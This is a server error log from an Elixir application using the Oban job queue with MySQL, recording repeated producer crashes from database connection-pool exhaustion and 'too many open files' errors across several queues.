%{}}
[Sat Sep  5 23:43:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:43:19.239620Z], limit: 5, uuid: "e1a2c522-efbd-4cc8-9085-65d552ce8881", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.239626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26063>, refresh_timer: #Reference<0.2525715032.1121189889.134914>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:43:19.239352Z], limit: 50, uuid: "158a292a-d5f6-4488-9303-a23b912a550a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.239357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27337>, refresh_timer: #Reference<0.2525715032.1068498948.26051>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:43:19.240872Z], limit: 20, uuid: "9a4dff76-0e3f-4368-b108-cbb00cec86c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.240886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27335>, refresh_timer: #Reference<0.2525715032.1099431938.27334>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:43:19.239792Z], limit: 10, uuid: "b05d36c6-c888-4ecb-935b-4dc5ce877989", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.239797Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27336>, refresh_timer: #Reference<0.2525715032.1099431938.27317>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:33.371000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:33.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:34.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:37.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:39.674000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:40.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:40.810000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:43.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:43:32.242139Z], limit: 5, uuid: "dbb745a5-86e3-4b7d-846f-7f04f6b2a97b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.242145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26214>, refresh_timer: #Reference<0.2525715032.1068498948.26213>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:43:32.243853Z], limit: 50, uuid: "e03cc12f-8f76-4d63-bd92-7b93a3115d5e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.243858Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260608>, refresh_timer: #Reference<0.2525715032.1077411843.260577>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:43:32.238251Z], limit: 3, uuid: "a1809aa8-701f-464b-9e9a-cced28c98c97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.238258Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26210>, refresh_timer: #Reference<0.2525715032.1068498948.26193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:43:32.247212Z], limit: 10, uuid: "450bda96-e418-4026-91a5-b5eb13efc8bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:32.247217Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260609>, refresh_timer: #Reference<0.2525715032.1121189889.135092>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
